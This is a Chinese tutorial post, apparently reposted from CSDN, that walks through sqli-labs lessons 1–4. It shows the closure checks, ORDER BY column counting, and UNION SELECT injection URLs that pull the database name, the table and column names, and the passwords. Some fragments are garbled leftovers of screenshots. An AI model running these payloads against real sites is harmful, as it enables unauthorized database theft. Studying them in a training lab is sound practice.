首页 > 数据库 >sqli-labs 靶场 less-1、2、3、4 第一关至第四关: 判断闭合方式,order by判断字段数,是否为字符型注入,获取information_schema的表

sqli-labs 靶场 less-1、2、3、4 第一关至第四关: 判断闭合方式,order by判断字段数,是否为字符型注入,获取information_schema的表

时间:2024-06-09 15:58:13浏览次数:15  
标签:语句 information Less less 段数 labs sqli --+ id

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 1

SQLI DUMB SERIES-1
1. 判断闭合方式:在参数后面加\的方法判断闭合,\后面的符号就是闭合符号。在第一关,闭合方式通常为单引号闭合。
2. 判断字段数:使用order by语句来确定表中的列数。例如,输入id=1' order by 3--+,如果页面回显正常,说明存在三个字段。
3. 判断是否为字符型注入:尝试输入id=1',如果页面报错,说明是字符型注入。
4. 拼接字符串并确定注入点:使用and '1'='1'来进一步验证注入点,并观察页面回显是否正常。

Please input the ID as parameter with numeric value

字段数量

尝试输入ID,可以正常显示。
继续输入单引号,异常显示:

http://sqli-labs.com/Less-1/?id=1%27

SQL syntax
直接返回了SQL的语法错误,那么明显语句中有利用单引号'来作为字符型闭合符号。
可以选择直接把后面的语句注释掉,?id=1'--+
数据获取成功
使用orderby 语句判断查询字段数量

http://sqli-labs.com/Less-1/?id=1%27%20order%20by%203--+

可以知道结果为3时数据正常返回,意味着此次查询有3个字段。
在这里插入图片描述

在 MySQL 中,当你在 ORDER BY 子句中使用数字(如 ORDER BY 3),你实际上是在引用查询结果集中的列的位置,而不是列的名称。
数字引用是基于 SELECT 语句中列的顺序。如果你改变了 SELECT 语句中的列顺序,那么数字引用也会相应地改变。
ORDER BY 3 是根据查询结果集中的第三列进行排序的。如果你尝试引用一个不存在的列位置,MySQL 会抛出一个错误。
如果你在 SELECT 语句中使用了别名,并且想在 ORDER BY 中使用这个别名,你不能使用数字引用。你必须使用别名本身。

判断注入点

select 1,2,3
这个代码实际上在数据库中的显示为:

SELECT * FROM users WHERE id='1' union select 1,2,3;--+' LIMIT 0,1

select * from users
可以看到实际上是查到了数据,只是联结在了后面,我可以通过排序等方式让数据显示出来,在这里只需要不把数据查出来即可,如此便把ID改为-1:
SELECT * FROM
可以看到想要的数据直接显示出来了,实际SQL查到的数据如下:

SELECT * FROM users WHERE id='-1' union select 1,2,3;--+' LIMIT 0,1;

union select
如此我们便可以在2、3注入数据。

获取数据

  1. 获取用户名和数据库名
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,user(),database();--+

root@localhost
2. 获取该数据库所有的表名

group_concat()函数:按照指定字段分组,将满足条件的行转列,可指定分隔符将所有满足条件的字符串连接成一个字符串,separator缺省时默认为","
http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();--+

referers
3. 获取Users表中的所有字段名

http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=database();--+

获取users表的表名
4. 获取用户的密码

http://sqli-labs.com/Less-1/?id=-1%27%20union%20select%201,2,group_concat(password)%20from%20users;--+

elect%201,2,group_conca

Less 2

SQLI DUMB SERIES-2
1. 进入第二关后,首先可以判断这是一个基于GET请求的注入点,需要在URL上拼接ID的值。
2. 尝试不同的ID值,观察显示的用户名和密码是否变化,以确认这两个地方的值与数据库进行交互。
3. 确定注入点后,可以开始查询数据库,如查找数据库下的所有表。

sqli dump series-2

注入点

Less2的基本上与Less1的相同,只是不需要字符串的闭合符号。
select * order by 3
select 1,2,3

获取数据

union

ma.columns where table_schema='s
=security and table_name='u

Less 3

SQLI DUMB SERIES-3
1. 判断注入点:输入id=1') --+,如果回显正常,说明存在括号闭合问题。
2. 判断当前表的字段数:使用order by语句来确定字段数。例如,输入id=1') order by 3 --+,如果页面回显正常,但输入id=1') order by 4 --+时报错,说明当前数据表字段有3个。
3. 判断回显位置:使用union select语句来确定回显位置。

除了闭合函数不同,需要查找相同符号闭合外,基本一致。

注入点

尝试输入整型,显示正常。
dumb
继续尝试使用字符闭合符号,输入1'报错了:
L syntax; check the manual that corresponds to your MySQL server version for the right syntax
可以看到MySQL提示语法错误,在''1'') LIMIT 0,1处的语句有错误。
从这个错误提示中可以看到该查询语句应是不字符闭合的基础上,还加上了括号。
那么我们也加上括号试试。

http://sqli-labs.com/Less-3/?id=1%27)--+

Welcome    Dhakkan
能正常执行就代表通过了,接下来继续判断字段数量:

http://sqli-labs.com/Less-3/?id=1%27)%20order%20by%203--+

Your Login name:Dumb

获取数据

assword:root@localhost
table
Your Password:id,username,password
stupidity,genious

Less 4

SQLI DUMB SERIES-4
1. 判断注入点:首先输入id=1 --+查看正常回显状态,然后尝试输入id=1' --+和双引号等,观察报错信息,以确定注入点类型(如双引号和括号闭合问题)。
2. 判断当前表的字段数:使用order by语句来确定字段数。例如,输入id=1") order by 3 --+,如果回显正常但输入id=1") order by 4 --+时报错,说明当前表的字段数只有3个。
3. 根据确定的注入点和字段数,进行进一步的SQL注入攻击。

注入点

经测试当输入"时会报错,则尝试使用此作为闭合符号:
在这里插入图片描述
但同样提示报错,并把源SQL语句报了出来,可见还是需要)进一步闭合语句,那么再加上这个右括号。

http://sqli-labs.com/Less-4/?id=1%22

 corresponds to your M
还是提示报错,但与之前不同的是原本的"1"已经不报错了,是后面的语句衔接有问题。

http://sqli-labs.com/Less-4/?id=1%22)

syntax; check th
现在再注释的符号加上,再输入执行就能发现现在代码执行成功了:

http://sqli-labs.com/Less-4/?id=1%22)%20--+

ogin name

注入

拉下来就是常规获取数据库名、表名、表字段、表信息。不再缀述。
le,admin,admi

系列文章

标签:语句,information,Less,less,段数,labs,sqli,--+,id
From: https://blog.csdn.net/Superstacks/article/details/139494679

相关文章

  • [ABC354F] Useless for LIS
    写在最前面的话:如果你懂这道题的线段树或者树状数组解法,那么本题解对你可能没有帮助。题目传送门(Luogu)题目传送门(AtCoder)[ABC354F]UselessforLIS题面翻译给定一个长度为\(n\)的序列\(a\)。求出所有\(i\)使得存在任意一个\(a\)的最长上升子序列包含\(i\)。多测。......
  • Serverless 使用阿里云OOS将http文件转存到对象存储
    背景介绍系统运维管理OOS系统运维管理OOS(CloudOpsOrchestrationService)提供了一个高度灵活和强大的解决方案,通过精巧地编排阿里云提供的OpenAPI,使得用户能够将分散的单个原子运维任务链接起来,形成复杂的运维场景和流程。这种方式不仅大幅提升了运维的效率,也极大地减少了人为错......
  • 为什么MySQL的information_schema.tables字段index_length显示为0?
     为什么MySQL的information_schema.tables字段index_length显示为0? 测试版本为:MySQL社区版8.0.36 分情况1:innodb引擎的表是索引组织表,按照主键进行顺序存放。则表是索引,索引是表,index_length不会有值。如下,创建一个表,并追加主键,查看索引情况。(root@localhost11:02:2......
  • allure的suites(测试套)中未显示返回值参数,显示No information about test execution is
    转自大佬:https://blog.csdn.net/sbdxmnz/article/details/137016423 ExecutionNoinformationabouttestexecutionisavailable.  解决方法:添加代码,因为pytest输出文本形式测试报告时未存储响应内容#将接口响应的文本内容附加到Allure报告中allure.attach(接口响......
  • messageBox->setWindowFlags(Qt::FramelessWindowHint | Qt::Tool);讲解
    当我们调用setWindowFlags方法时,我们在设置窗口的标志。这些标志控制着窗口的外观和行为。在这个例子中,我们使用了Qt::FramelessWindowHint和Qt::Tool两个标志。Qt::FramelessWindowHint:这个标志告诉Qt不要绘制窗口的边框和标题栏。这样可以创建一个没有边框的窗口,通常用......
  • 一个问题:六位八段数码管(Verilog)
    【基本信息】需求:verilog程序,显示任意六位字符或数值,包含点号,且能够按需点亮位数。(学习篇)芯片型号:cycloneⅣEP4CE10F17C8数码管属性:六位、八段【最终成果图】经过多轮测试,最后代码程序满足设计要求,但结合仿真发现了一个问题,仿真和上机不匹配,当然还是要以上机为准。【模块......
  • Verilog设计实现七段数码管译码器的设计
    七段数码管常用于计时器、拨码开关输入、班级和学号等信息的显示,通过控制不同的段亮灭,可以实现各种数字和字符的显示。七段数码管通常由a-g七个段组成,每一段对应一个LED。为了显示不同的数字,需要控制这些LED的亮灭。图1七段数码管为了控制这些LED的亮灭,需要设计一个显示译......
  • ICDE’24|中国企业首获最佳论文,详解PolarDB Serverless如何在0.5秒内实现跨机迁移
    以下文章来源于阿里云开发者作者陈浩、章颖强引言数据库领域顶会ICDE2024于5月13-17日在荷兰乌特勒支(Utrecht,Netherlands)举办。ICDE(TheInternationalConferenceonDataEngineering) 与VLDB、SIGMOD被公认为是国际数据管理领域三大顶级学术会议,此次在荷兰召开......
  • 美团多场景多任务学习论文《HiNet: Novel Multi-Scenario & Multi-Task Learning with
    模型结构模型主要包含场景抽取层和任务抽取层(上图A):场景抽取层场景抽取层主要包括了场景共享专家(Scenario-sharedexpert)模块、当前场景特有专家(Scenario-specificexpert)模块以及场景感知注意力网络,通过这三部分的信息抽取,最终形成了场景层次的信息表征场景共享专家就是一......
  • ACK Serverless主要特点
    阿里云容器服务ACK阿里云容器服务ACK(AlibabaCloudContainerServiceforKubernetes)是全球首批通过Kubernetes一致性认证的服务平台,提供高性能的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理,可以轻松高效地在云端运行Kubernetes容器化应用。ACK具有如下特点......